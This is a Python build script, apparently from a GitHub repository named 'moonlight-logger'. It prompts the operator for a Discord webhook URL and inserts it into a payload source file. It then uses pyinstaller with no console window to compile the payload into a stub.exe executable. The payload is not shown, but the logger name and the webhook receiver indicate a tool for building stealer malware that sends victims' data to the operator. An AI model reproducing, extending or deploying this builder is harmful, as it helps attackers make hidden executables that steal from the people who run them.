-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathbuild.py
57 lines (49 loc) · 2.85 KB
/
build.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from os import system, remove, getenv
from os.path import join, exists
from colorama import Fore, init
from shutil import rmtree, copy2
from string import ascii_letters
from random import choice
class Builder:
def showLogo(self) -> None:
print(f"""{Fore.MAGENTA}
███╗ ███╗ ██████╗ ██████╗ ███╗ ██╗██╗ ██╗ ██████╗ ██╗ ██╗████████╗
████╗ ████║██╔═══██╗██╔═══██╗████╗ ██║██║ ██║██╔════╝ ██║ ██║╚══██╔══╝
██╔████╔██║██║ ██║██║ ██║██╔██╗ ██║██║ ██║██║ ███╗███████║ ██║
██║╚██╔╝██║██║ ██║██║ ██║██║╚██╗██║██║ ██║██║ ██║██╔══██║ ██║
██║ ╚═╝ ██║╚██████╔╝╚██████╔╝██║ ╚████║███████╗██║╚██████╔╝██║ ██║ ██║
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝
Moonlight V1 | Github URL: https://github.com/unnulled/moonlight-logger\n""".replace("█", f"{Fore.WHITE}█{Fore.MAGENTA}"))
def buildSequence(self) -> None:
system("cls")
self.showLogo()
webhook = input(
f"{Fore.MAGENTA}[{Fore.WHITE}MOONLIGHT{Fore.MAGENTA}] Your Discord Webhook {Fore.WHITE}>{Fore.MAGENTA} ")
buildId = ''.join(choice(ascii_letters) for i in range(10))
srcFile = open("./src/payload.py", "r")
srcCode = srcFile.read()
updatedSrcCode = srcCode.replace("%WEBHOOK_URL%", webhook)
srcFile.close()
newSrcFilePath = join(self.TEMP, f"{buildId}.py")
newSrcFile = open(newSrcFilePath, "w")
newSrcFile.write(updatedSrcCode)
newSrcFile.close()
system(f"pyinstaller --onefile --noconsole {newSrcFilePath}")
remove(f"{buildId}.spec")
remove(newSrcFilePath)
rmtree("build")
if exists("stub.exe"):
remove("stub.exe")
copy2(f"./dist/{buildId}.exe", "./stub.exe")
rmtree("dist")
system("cls")
print(
f"Built successfully! Press {Fore.MAGENTA}[{Fore.WHITE}ENTER{Fore.MAGENTA}] to build another")
input()
def __init__(self) -> None:
self.TEMP = getenv("TEMP")
init()
system("cls && title moonlight")
while True:
self.buildSequence()
Builder()